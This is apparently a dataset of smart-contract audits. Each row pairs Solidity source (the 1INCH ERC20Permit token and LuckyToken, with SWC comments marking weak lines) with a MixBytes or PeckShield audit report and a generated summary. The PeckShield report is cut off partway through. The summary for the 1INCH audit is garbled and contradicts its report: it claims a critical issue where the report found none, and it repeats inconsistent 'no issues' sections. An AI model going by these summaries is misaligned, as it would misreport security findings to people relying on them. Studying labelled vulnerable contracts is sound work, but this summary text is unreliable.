sol
stringlengths
116
877k
report
stringlengths
298
126k
summary
stringlengths
350
3.62k
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/IERC20Permit.sol /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `amount` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./IERC20Permit.sol"; import "./ECDSA.sol"; import "./EIP712.sol"; // An adapted copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/ERC20Permit.sol /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _nonces[owner].increment(); // SWC-Transaction Order Dependence: L53 _approve(owner, spender, amount); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/cryptography/ECDSA.sol /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature s value"); require(v == 27 || v == 28, "ECDSA: invalid signature v value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // A copy of https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecc66719bd7681ed4eb8bf406f89a7408569ba9b/contracts/drafts/EIP712.sol /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) internal { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = _getChainId(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (_getChainId() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, _getChainId(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private pure returns (uint256 chainId) { // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ERC20Permit.sol"; contract OneInch is ERC20Permit, ERC20Burnable, Ownable { constructor(address _owner) public ERC20("1INCH Token", "1INCH") EIP712("1INCH Token", "1") { _mint(_owner, 1.5e9 ether); transferOwnership(_owner); } function mint(address to, uint256 amount) external onlyOwner { _mint(to, amount); } }
December 23, 20201INCH TOKEN SMART CONTRACT AUDIT CONTENTS 1.INTRODUCTION................................................................... 1 DISCLAIMER.................................................................... 1 PROJECT OVERVIEW.............................................................. 1 SECURITY ASSESSMENT METHODOLOGY............................................... 2 EXECUTIVE SUMMARY............................................................. 4 PROJECT DASHBOARD............................................................. 4 2.FINDINGS REPORT................................................................ 6 2.1.CRITICAL.................................................................. 6 2.2.MAJOR..................................................................... 6 2.3.WARNING................................................................... 6 WRN-1 Potential front running attack or losing of allowance................... 6 2.4.COMMENTS.................................................................. 7 CMT-1 Mismatch of argument name in _PERMIT_TYPEHASH and permit function ...... 7 3.ABOUT MIXBYTES................................................................. 8 1.INTRODUCTION 1.1DISCLAIMER The audit makes no statements or warranties about utility of the code, safety of the code, suitability of the business model, investment advice, endorsement of the platform or its products, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. The audit documentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of 1Inch (name of Client). If you are not the intended recipient(s) of this document, please note that any disclosure, copying or dissemination of its content is strictly forbidden. 1.2PROJECT OVERVIEW 1inch is a DeFi aggregator and a decentralized exchange with smart routing. The core protocol connects a large number of decentralized and centralized platforms in order to minimize price slippage and find the optimal trade for the users. 1inch platform provides a variety of features in addition to swaps. Users can trade via limit orders, deposit funds into lending protocols, move coins between different liquidity pools, and this list expands constantly. 11.3SECURITY ASSESSMENT METHODOLOGY At least 2 auditors are involved in the work on the audit who check the provided source code independently of each other in accordance with the methodology described below: 01"Blind" audit includes: >Manual code study >"Reverse" research and study of the architecture of the code based on the source code only Stage goal: Building an independent view of the project's architecture Finding logical flaws 02Checking the code against the checklist of known vulnerabilities includes: >Manual code check for vulnerabilities from the company's internal checklist >The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code Stage goal: Eliminate typical vulnerabilities (e.g. reentrancy, gas limit, flashloan attacks, etc.) 03Checking the logic, architecture of the security model for compliance with the desired model, which includes: >Detailed study of the project documentation >Examining contracts tests >Examining comments in code >Comparison of the desired model obtained during the study with the reversed view obtained during the blind audit Stage goal: Detection of inconsistencies with the desired model 04Consolidation of the reports from all auditors into one common interim report document >Cross check: each auditor reviews the reports of the others >Discussion of the found issues by the auditors >Formation of a general (merged) report Stage goal: Re-check all the problems for relevance and correctness of the threat level Provide the client with an interim report 05Bug fixing & re-check. >Client fixes or comments on every issue >Upon completion of the bug fixing, the auditors double-check each fix and set the statuses with a link to the fix Stage goal: Preparation of the final code version with all the fixes 06Preparation of the final audit report and delivery to the customer. 2Findings discovered during the audit are classified as follows: FINDINGS SEVERITY BREAKDOWN Level Description Required action CriticalBugs leading to assets theft, fund access locking, or any other loss funds to be transferred to any partyImmediate action to fix issue Major Bugs that can trigger a contract failure. Further recovery is possible only by manual modification of the contract state or replacement.Implement fix as soon as possible WarningBugs that can break the intended contract logic or expose it to DoS attacksTake into consideration and implement fix in certain period CommentOther issues and recommendations reported to/acknowledged by the teamTake into consideration Based on the feedback received from the Customer's team regarding the list of findings discovered by the Contractor, they are assigned the following statuses: Status Description Fixed Recommended fixes have been made to the project code and no longer affect its security. AcknowledgedThe project team is aware of this finding. Recommendations for this finding are planned to be resolved in the future. This finding does not affect the overall safety of the project. No issue Finding does not affect the overall safety of the project and does not violate the logic of its work. 31.4EXECUTIVE SUMMARY The audited contract is a standard ERC-20 token with an additional permit method that implements EIP-712. This improvement allows users to sign allowance for token spending without a transaction. In other words, a spender can issue a signed allowance and provide it by an off-chain to another spender or any other user, then this allowance can be applied without the participation of the original sender and it will not spend any gas from his account. 1.5PROJECT DASHBOARD Client 1Inch Audit name 1Inch Token Initial version 99fd056f91005ca521a02a005f7bcd8f77e06afc Final version 5332caa9b91403a022e74b49c9d0fc9c6d5419f4 SLOC 48 Date 2020-12-22 - 2020-12-23 Auditors engaged 2 auditors FILES LISTING ERC20Permit.sol ERC20Permit.sol OneInch.sol OneInch.sol ECDSA.sol ECDSA.sol EIP712.sol EIP712.sol IERC20Permit.sol IERC20Permit.sol 4FINDINGS SUMMARY Level Amount Critical 0 Major 0 Warning 1 Comment 1 CONCLUSION The smart contract has been audited and no critical and major issues have been found. The contract massively uses libraries from a widely known OpenZeppelin set of contracts which are safe and of high quality. All spotted issues are minor and the contract itself assumed as safe to use according to our security criteria. For the following files from the scope only consistency with their original copies from openzeppelin repository is checked (used commit: ecc66719bd7681ed4eb8bf406f89a7408569ba9b ): https://github.com/1inch-exchange/1inch- token/blob/99fd056f91005ca521a02a005f7bcd8f77e06afc/contracts/ECDSA.sol https://github.com/1inch-exchange/1inch- token/blob/99fd056f91005ca521a02a005f7bcd8f77e06afc/contracts/EIP712.sol https://github.com/1inch-exchange/1inch- token/blob/99fd056f91005ca521a02a005f7bcd8f77e06afc/contracts/IERC20Permit.sol 52.FINDINGS REPORT 2.1CRITICAL Not Found 2.2MAJOR Not Found 2.3WARNING WRN-1 Potential front running attack or losing of allowance File ERC20Permit.sol Severity Warning Status Acknowledged DESCRIPTION At the line ERC20Permit.sol#L53 _approve method replaces the allowance, so there are two potential problems here: 1.If a signer wants to increase the allowance from A to B , a receiver may withdraw A+B using the front-running attack. 2.If a signer wants to send A and B , but a receiver forgot to withdraw A , the receiver will lose ability to withdraw A . RECOMMENDATION We suggest to add permitIncrease , permitDecrease methods and use it instead of the permit . 62.4COMMENTS CMT-1 Mismatch of argument name in _PERMIT_TYPEHASH and permit function File ERC20Permit.sol Severity Comment Status Fixed at 5332caa9 DESCRIPTION At the line ERC20Permit.sol#L27 the value argument is used but at the line ERC20Permit.sol#L32 the argument name is amount . RECOMMENDATION We suggest to rename amount to value in the permit function. CLIENT'S COMMENTARY Created PR at OpenZeppelin's repo: PR-2445 73.ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build open-source solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. BLOCKCHAINS Ethereum EOS Cosmos SubstrateTECH STACK Python Rust Solidity C++ CONTACTS https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://t.me/MixBytes https://twitter.com/mixbytes 8
Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 0 Major: 0 Critical: 1 Minor Issues 2.a Problem (one line with code reference) CMT-1 Mismatch of argument name in _PERMIT_TYPEHASH and permit function (Line 7) 2.b Fix (one line with code reference) Fix the argument name in _PERMIT_TYPEHASH and permit function (Line 7) Moderate: 0 Major 0 Critical 5.a Problem (one line with code reference) WRN-1 Potential front running attack or losing of allowance (Line 6) 5.b Fix (one line with code reference) Implement a mechanism to prevent front running attack or losing of allowance (Line 6) Observations The audit found no major or moderate issues with the code. The only issue found was a minor issue related to the mismatch of argument name in _PERMIT_TYPEHASH and permit function (Line 7). Conclusion The audit concluded that the code is secure and there are no major or moderate Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations - No issues were found during the audit. Conclusion - The audit was successful and no issues were found. Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations - The audited contract is a standard ERC-20 token with an additional permit method that implements EIP-712. - The contract massively uses libraries from a widely known OpenZeppelin set of contracts which are safe and of high quality. Conclusion The smart contract has been audited and no critical and major issues have been found.
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; contract LuckyToken is ERC20, Ownable { string private _name = "Lucky"; string private _symbol = "LUCKY"; uint256 private constant FAIR_LAUNCH = 1 * 1000000 * 10**18; //1 * 1000000 * 10**_decimals; uint256 private constant WAR_CHEST = 5 * 1000000 * 10**18; uint256 private constant ECOSYSTEM = 20 * 1000000 * 10**18; uint256 private constant CAP = 100 * 1000000 * 10**18; //max supply address Owner; address WarChest; address Ecosystem; constructor (address _Owner, address _Warchest, address _Ecosystem) ERC20(_name, _symbol) { //set wallet address Owner = _Owner; WarChest = _Warchest; Ecosystem = _Ecosystem; //mint to Owner's Wallet for Fairlunch _mint(Owner, FAIR_LAUNCH); //mint to WarChest's Wallet _mint(WarChest, WAR_CHEST); //mint to Ecosystem's Wallet _mint(Ecosystem, ECOSYSTEM); //transfer to real owner transferOwnership(_Owner); } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return CAP; } function mint(address _to, uint256 _amount) external onlyOwner { _mint(_to, _amount); } /** * @dev See {ERC20-_mint}. */ /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). //SWC-Code With No Effects: L54 function _mint(address _to, uint256 _amount) internal virtual onlyOwner override { require(ERC20.totalSupply() + _amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(_to, _amount); } }
Public SMART CONTRACT AUDIT REPORT for LuckyToken Prepared By: Yiqun Chen PeckShield September 19, 2021 1/16 PeckShield Audit Report #: 2021-283Public Document Properties Client Lucky Lion Title Smart Contract Audit Report Target LuckyToken Version 1.0 Author Xiaotao Wu Auditors Xiaotao Wu, Xuxian Jiang Reviewed by Yiqun Chen Approved by Xuxian Jiang Classification Public Version Info Version Date Author Description 1.0 September 19, 2021 Xiaotao Wu Final Release Contact For more information about this document and its contents, please contact PeckShield Inc. Name Yiqun Chen Phone +86 183 5897 7782 Email contact@peckshield.com 2/16 PeckShield Audit Report #: 2021-283Public Contents 1 Introduction 4 1.1 About LuckyToken . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4 1.2 About PeckShield . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.3 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.4 Disclaimer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 2 Findings 8 2.1 Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.2 Key Findings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 3 BEP20 Compliance Checks 10 4 Detailed Results 13 4.1 Redundant Code Removal . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 4.2 Trust Issue Of Admin Roles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 5 Conclusion 15 References 16 3/16 PeckShield Audit Report #: 2021-283Public 1 | Introduction Given the opportunity to review the design document and related source code of the LuckyToken contract, we outline in the report our systematic method to evaluate potential security issues in the smart contract implementation, expose possible semantic inconsistency between smart contract code and the documentation, and provide additional suggestions or recommendations for improvement. Our results show that the given version of the smart contract is well implemented. In the meantime, the current implementation can be further improved due to the presence of some issues related to BEP20-compliance, security, or performance. This document outlines our audit results. 1.1 About LuckyToken The LuckyToken is a BEP20-compliant token contract deployable on Binance Smart Chain (BSC) . It is the main token distributed as a reward for the Lucky Lion users. The Lucky Lion users can invest the value of their Luckytoken in one of three ways: stake in yield farms, play iGaming, or earn from the revenue sharing pool. This audit validates the BEP20-compliance of its token contract as well as examines other known BEP20 pitfalls/vulnerabilities, if any, in current implementation. The basic information of LuckyToken is as follows: Table 1.1: Basic Information of LuckyToken ItemDescription IssuerLucky Lion Website https://www.luckylion.io/ TypeBEP20Token Contract Platform Solidity Audit Method Whitebox Audit Completion Date September 19, 2021 In the following, we show the Git repository of reviewed file and the commit hash value used in this audit. 4/16 PeckShield Audit Report #: 2021-283Public •https://github.com/LuckyLionIO/Lucky-Token (c9deec5) 1.2 About PeckShield PeckShield Inc. [6] is a leading blockchain security company with the goal of elevating the security, privacy, and usability of current blockchain ecosystem by offering top-notch, industry-leading ser- vices and products (including the service of smart contract auditing). We are reachable at Telegram (https://t.me/peckshield),Twitter( http://twitter.com/peckshield),orEmail( contact@peckshield.com). 1.3 Methodology To standardize the evaluation, we define the following terminology based on OWASP Risk Rating Methodology [5]: •Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in the wild; •Impact measures the technical loss and business damage of a successful attack; •Severity demonstrates the overall criticality of the risk; Likelihood and impact are categorized into three ratings: H,MandL, i.e., high,mediumand lowrespectively. Severity is determined by likelihood and impact and can be classified into four categories accordingly, i.e., Critical,High,Medium,Lowshown in Table 1.2. Table 1.2: Vulnerability Severity ClassificationImpactHigh Critical High Medium Medium High Medium Low Low Medium Low Low High Medium Low Likelihood We perform the audit according to the following procedures: 5/16 PeckShield Audit Report #: 2021-283Public •BasicCodingBugs: We first statically analyze given smart contracts with our proprietary static code analyzer for known coding bugs, and then manually verify (reject or confirm) all the issues found by our tool. •BEP20Compliance Checks: We then manually check whether the implementation logic of the audited smart contract(s) follows the standard BEP20 specification and other best practices. •Additional Recommendations: We also provide additional suggestions regarding the coding and development of smart contracts from the perspective of proven programming practices. Table 1.3: The Full List of Check Items Category Check Item Basic Coding BugsConstructor Mismatch Ownership Takeover Redundant Fallback Function Overflows & Underflows Reentrancy Money-Giving Bug Blackhole Unauthorized Self-Destruct Revert DoS Unchecked External Call Gasless Send Send Instead of Transfer Costly Loop (Unsafe) Use of Untrusted Libraries (Unsafe) Use of Predictable Variables Transaction Ordering Dependence Deprecated Uses Approve / TransferFrom Race Condition BEP20 Compliance Checks Compliance Checks (Section 3) Additional RecommendationsAvoiding Use of Variadic Byte Array Using Fixed Compiler Version Making Visibility Level Explicit Making Type Inference Explicit Adhering To Function Declaration Strictly Following Other Best Practices To evaluate the risk, we go through a list of check items and each would be labeled with a severity category. For one check item, if our tool does not identify any issue, the contract is considered safe 6/16 PeckShield Audit Report #: 2021-283Public regarding the check item. For any discovered issue, we might further deploy contracts on our private testnet and run tests to confirm the findings. If necessary, we would additionally build a PoC to demonstrate the possibility of exploitation. The concrete list of check items is shown in Table 1.3. 1.4 Disclaimer Note that this security audit is not designed to replace functional tests required before any software release, and does not give any warranties on finding all possible security issues of the given smart contract(s) or blockchain software, i.e., the evaluation result does not guarantee the nonexistence of any further findings of security issues. As one audit-based assessment cannot be considered comprehensive, we always recommend proceeding with several independent audits and a public bug bounty program to ensure the security of smart contract(s). Last but not least, this security audit should not be used as investment advice. 7/16 PeckShield Audit Report #: 2021-283Public 2 | Findings 2.1 Summary Here is a summary of our findings after analyzing the LuckyToken contract. During the first phase of our audit, we study the smart contract source code and run our in-house static code analyzer through the codebase. The purpose here is to statically identify known coding bugs, and then manually verify (reject or confirm) issues reported by our tool. We further manually review business logics, examine systemoperations, andplaceBEP20-relatedaspectsunderscrutinytouncoverpossiblepitfallsand/or bugs. Severity # of Findings Critical 0 High 0 Medium 1 Low 0 Informational 1 Total 2 Moreover, we explicitly evaluate whether the given contracts follow the standard BEP20 specifi- cation and other known best practices, and validate its compatibility with other similar BEP20 tokens and current DeFi protocols. The detailed BEP20 compliance checks are reported in Section 3. After that, we examine a few identified issues of varying severities that need to be brought up and paid more attention to. (The findings are categorized in the above table.) Additional information can be found in the next subsection, and the detailed discussions are in Section 4. 8/16 PeckShield Audit Report #: 2021-283Public 2.2 Key Findings Overall, a minor BEP20 compliance issue was found and our detailed checklist can be found in Section 3. Overall, there is no critical or high severity issue, although the implementation can be improved by resolving the identified issues (shown in Table 2.1), including 1medium-severity vulnerability and 1informational recommendation. Table 2.1: Key LuckyToken Audit Findings ID Severity Title Category Status PVE-001 Informational Redundant Code Removal Coding Practices Confirmed PVE-002 Medium Trust Issue Of Admin Roles Security Features Confirmed Besides recommending specific countermeasures to mitigate these issues, we also emphasize that it is always important to develop necessary risk-control mechanisms and make contingency plans, which may need to be exercised before the mainnet deployment. The risk-control mechanisms need to kick in at the very moment when the contracts are being deployed in mainnet. Please refer to Section 3 for our detailed compliance checks and Section 4 for elaboration of reported issues. 9/16 PeckShield Audit Report #: 2021-283Public 3 | BEP20 Compliance Checks TheBEP20specificationdefinesalistofAPIfunctions(andrelevantevents)thateachtokencontract is expected to implement (and emit). The failure to meet these requirements means the token contract cannot be considered to be BEP20-compliant. Naturally, as the first step of our audit, we examine the list of API functions defined by the BEP20 specification and validate whether there exist any inconsistency or incompatibility in the implementation or the inherent business logic of the audited contract(s). Table 3.1: Basic View-Only Functions Defined in The BEP20 Specification Item Description Status name()Is declared as a public view function ✓ Returns a string, for example “Tether USD” ✓ symbol()Is declared as a public view function ✓ Returns the symbol by which the token contract should be known, for example “USDT”. It is usually 3or4characters in length✓ decimals()Is declared as a public view function ✓ Returns decimals, which refers to how divisible a token can be, from 0 (not at all divisible) to 18(pretty much continuous) and even higher if required✓ totalSupply()Is declared as a public view function ✓ Returns the number of total supplied tokens, including the total minted tokens (minus the total burned tokens) ever since the deployment✓ balanceOf()Is declared as a public view function ✓ Anyone can query any address’ balance, as all data on the blockchain is public✓ allowance()Is declared as a public view function ✓ Returns the amount which the spender is still allowed to withdraw from the owner✓ getOwner()Is declared as a public view function × Returns the bep20 token owner which is necessary for binding with bep2 token.× Our analysis shows that there is a minor BEP20 inconsistency or incompatibility issue found 10/16 PeckShield Audit Report #: 2021-283Public in the audited LuckyToken contract. Specifically, the getOwner() function is an extended method of EIP20and is currently not defined. Tokens that do not implement this method will not be able to flow across the Binance Chain and Binance Smart Chain (BSC).1In the surrounding two tables, we outline the respective list of basic view-only functions (Table 3.1) and key state-changing functions (Table 3.2) according to the widely-adopted BEP20 specification. Table 3.2: Key State-Changing Functions Defined in The BEP20 Specification Item Description Status transfer()Is declared as a public function ✓ Returns a boolean value which accurately reflects the token transfer status ✓ Reverts if the caller does not have enough tokens to spend ✓ Allows zero amount transfers ✓ Emits Transfer() event when tokens are transferred successfully (include 0 amount transfers)✓ Reverts while transferring to zero address ✓ transferFrom()Is declared as a public function ✓ Returns a boolean value which accurately reflects the token transfer status ✓ Reverts if the spender does not have enough token allowances to spend ✓ Updates the spender’s token allowances when tokens are transferred suc- cessfully✓ Reverts if the from address does not have enough tokens to spend ✓ Allows zero amount transfers ✓ Emits Transfer() event when tokens are transferred successfully (include 0 amount transfers)✓ Reverts while transferring from zero address ✓ Reverts while transferring to zero address ✓ approve()Is declared as a public function ✓ Returnsabooleanvaluewhichaccuratelyreflectsthetokenapprovalstatus ✓ Emits Approval() event when tokens are approved successfully ✓ Reverts while approving to zero address ✓ Transfer() eventIs emitted when tokens are transferred, including zero value transfers ✓ Is emitted with the from address set to 𝑎𝑑𝑑𝑟𝑒𝑠𝑠 (0𝑥0)when new tokens are generated✓ Approval() eventIs emitted on any successful call to approve() ✓ In addition, we perform a further examination on certain features that are permitted by the BEP20 specification or even further extended in follow-up refinements and enhancements, but not requiredforimplementation. Thesefeaturesaregenerallyhelpful, butmayalsoimpactorbringcertain incompatibility with current DeFi protocols. Therefore, we consider it is important to highlight them as well. This list is shown in Table 3.3. 1This issue has been resolved by adding the required getOwner() function. 11/16 PeckShield Audit Report #: 2021-283Public Table 3.3: Additional Opt-inFeatures Examined in Our Audit Feature Description Opt-in Deflationary Part of the tokens are burned or transferred as fee while on trans- fer()/transferFrom() calls— Rebasing The balanceOf() function returns a re-based balance instead of the actual stored amount of tokens owned by the specific address— Pausable The token contract allows the owner or privileged users to pause the token transfers and other operations— Blacklistable The token contract allows the owner or privileged users to blacklist a specific address such that token transfers and other operations related to that address are prohibited— Mintable The token contract allows the owner or privileged users to mint tokens to a specific address✓ Burnable The token contract allows the owner or privileged users to burn tokens of a specific address— 12/16 PeckShield Audit Report #: 2021-283Public 4 